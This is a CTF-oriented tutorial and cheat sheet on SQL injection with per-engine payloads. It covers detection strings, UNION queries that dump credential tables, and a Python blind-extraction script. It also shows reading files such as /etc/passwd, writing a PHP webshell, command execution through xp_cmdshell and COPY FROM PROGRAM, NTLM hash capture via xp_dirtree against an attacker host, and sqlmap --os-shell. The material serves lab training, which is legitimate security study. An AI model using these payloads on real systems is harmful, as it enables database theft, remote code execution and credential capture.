SQL injection: from a single quote to dumping the database

How to detect SQLi, extract data with UNION, blind or time-based, read files and when to reach for sqlmap. With a per-engine cheat sheet (MySQL, PostgreSQL, MSSQL, SQLite).

· 4 min read

SQL injection happens when the application pastes your input into a query instead of passing it as a parameter. On a CTF box it is often the way in: credentials in a users table, a config file read with LOAD_FILE, or straight command execution.

Detecting it

Test every parameter (GET, POST, cookies, headers such as User-Agent or X-Forwarded-For) with characters that break the syntax and watch for any change: a 500 error, a blank page, fewer results or a slower response.

Test What you look for
' and " Syntax error or a different response
' OR 1=1-- - Bypasses a login or returns every row
' AND 1=2-- - The page comes back empty (and with 1=1 it is back)
1 AND 1=2 Same thing on a numeric parameter, no quotes
' AND SLEEP(5)-- - The response takes 5 seconds longer

Tip

The -- - comment has a space and something after it because MySQL requires a space after --, and many browsers and frameworks trim trailing spaces. In MySQL # also works (encoded as %23 in the URL).

If the login says "wrong user or password" but admin'-- - lets you in, the query was something like SELECT * FROM users WHERE user='$u' AND pass='$p' and you just commented out the password check.

UNION: when you can see the output

With UNION SELECT you append your own rows to the result. You need the same number of columns as the original query.

' ORDER BY 1-- -          -- increase until it errors: the previous number is the total
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT 1,2,3-- -  -- which numbers show up on the page? That is where you write

Then pull information from the engine:

' UNION SELECT 1,@@version,database()-- -
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(username,':',password SEPARATOR '<br>'),3 FROM users-- -

Note

If the application only shows the first row, add LIMIT 1 OFFSET n or make the original query return nothing (' AND 1=2 UNION SELECT ...) so your row comes first.

Per-engine cheat sheet

MySQL / MariaDB PostgreSQL MSSQL SQLite
Version @@version version() @@version sqlite_version()
Current database database() current_database() DB_NAME() —
Tables information_schema.tables information_schema.tables information_schema.tables sqlite_master
Join rows group_concat(x) string_agg(x, ',') STRING_AGG(x, ',') group_concat(x)
Sleep SLEEP(5) pg_sleep(5) WAITFOR DELAY '0:0:5' — (heavy query)
Concatenate concat(a,b) a||b a+b a||b

Blind: when you cannot see the output

If the page only changes between "there is a result" and "there is none" (boolean-based), ask one character at a time:

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -

If not even that changes, use time (time-based):

' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(3),0)-- -

Doing this by hand takes forever. A short script teaches you far more than sqlmap about what is going on:

import string
import requests

URL = "http://10.10.10.10/login.php"
ALPHABET = string.ascii_lowercase + string.digits + "$./_{}"

secret = ""
while True:
    for c in ALPHABET:
        payload = f"admin' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{len(secret) + 1},1)='{c}'-- -"
        r = requests.post(URL, data={"username": payload, "password": "x"})
        if "Welcome" in r.text:  # whatever tells a "yes" from a "no"
            secret += c
            print(secret)
            break
    else:
        break  # no character matches: we are done

Tip

A binary search on ASCII(SUBSTRING(...)) (> 64, > 96...) takes you from ~40 requests per character down to 7.

Reading and writing files

In MySQL, if the user has the FILE privilege and secure_file_priv is empty:

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
' UNION SELECT 1,'<?php system($_GET["c"]); ?>',3 INTO OUTFILE '/var/www/html/c.php'-- -

Reading files is gold even if you cannot write: the web app config (config.php, .env), SSH keys, or the web server config to find where the code lives (/etc/apache2/sites-enabled/000-default.conf, /etc/nginx/sites-enabled/default).

Command execution

  • PostgreSQL (superuser or the pg_execute_server_program role):

    CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;
    

    You need stacked queries (;), which PostgreSQL accepts from many languages.

  • MSSQL, if you are sa or allowed to re-enable xp_cmdshell:

    EXEC sp_configure 'show advanced options',1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
    EXEC xp_cmdshell 'whoami';
    

    Otherwise, EXEC xp_dirtree '\\10.10.14.5\x' makes the server authenticate to your Responder and hands you the service account's NetNTLMv2 hash.

  • MySQL: the usual route is writing a webshell with INTO OUTFILE (above).

sqlmap, used well

Save the request from Burp (right click → Copy to file) and feed the whole thing to sqlmap, so it carries cookies and headers.

sqlmap -r request.txt --batch                     # detect
sqlmap -r request.txt --batch --dbs               # databases
sqlmap -r request.txt --batch -D web --tables
sqlmap -r request.txt --batch -D web -T users --dump
sqlmap -r request.txt --batch -p id --level 5 --risk 3   # more tests on one parameter
sqlmap -r request.txt --batch --technique=T --dbms=mysql  # time-based only, faster
sqlmap -r request.txt --batch --os-shell          # shell, if possible

Warning

--risk 3 adds OR-based tests that can modify or delete data in an UPDATE or DELETE. In a lab it does not matter; on a real engagement, think twice.

If there is a simple WAF, try the tamper scripts: --tamper=space2comment,between.

What people tend to miss

  • Second order: you inject it when registering (username admin'-- -) and it runs later, on another page that uses that value.
  • Other places: cookies, X-Forwarded-For, the name of an uploaded file, JSON ({"id": "1 OR 1=1"}) and sort parameters (?sort=name), where you cannot use quotes but CASE WHEN works.
  • NoSQL: if MongoDB is behind it, the syntax is different; see the machines with NoSQLi.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

SQL injection 31 machines

See all 31 machines →

Spotted a mistake or something missing? Tell us